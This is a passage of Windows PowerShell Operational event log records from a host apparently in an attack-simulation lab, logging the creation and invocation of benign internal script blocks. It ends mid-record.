0f76df8d-335c-4b1e-a59a-6aac868c548d Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989637 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989636 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989635 Keywords=None Message=Creating Scriptblock text (1 of 1): { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989634 Keywords=None Message=Completed invocation of ScriptBlock ID: 085ad206-c74e-455d-9645-7ba212e4cc94 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989633 Keywords=None Message=Started invocation of ScriptBlock ID: 085ad206-c74e-455d-9645-7ba212e4cc94 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989632 Keywords=None Message=Completed invocation of ScriptBlock ID: 085ad206-c74e-455d-9645-7ba212e4cc94 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989631 Keywords=None Message=Started invocation of ScriptBlock ID: 085ad206-c74e-455d-9645-7ba212e4cc94 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989630 Keywords=None Message=Completed invocation of ScriptBlock ID: 085ad206-c74e-455d-9645-7ba212e4cc94 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989629 Keywords=None Message=Started invocation of ScriptBlock ID: 085ad206-c74e-455d-9645-7ba212e4cc94 Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989628 Keywords=None Message=Creating Scriptblock text (1 of 1): { if($_.Value.PSobject.Methods.Name -match '^Equals$') { # If object has Equals, compare bound key and variable using it if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { $_.Key } } else { # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { $_.Key } } } ScriptBlock ID: 085ad206-c74e-455d-9645-7ba212e4cc94 Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989627 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989626 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989625 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989624 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989623 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989622 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989621 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989620 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989619 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989618 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989617 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989616 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989615 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989614 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989613 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989612 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989611 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989610 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989609 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989608 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989607 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989606 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989605 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989604 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989603 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989602 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989601 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989600 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989599 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989598 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989597 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989596 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989595 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989594 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989593 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989592 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989591 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989590 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989589 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989588 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989587 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989586 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989585 Keywords=None Message=Completed invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989584 Keywords=None Message=Started invocation of ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989583 Keywords=None Message=Creating Scriptblock text (1 of 1): {$_; "NOT_$_"} ScriptBlock ID: dde34874-8c76-41c5-a316-2a7f81a3f90d Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989582 Keywords=None Message=Completed invocation of ScriptBlock ID: 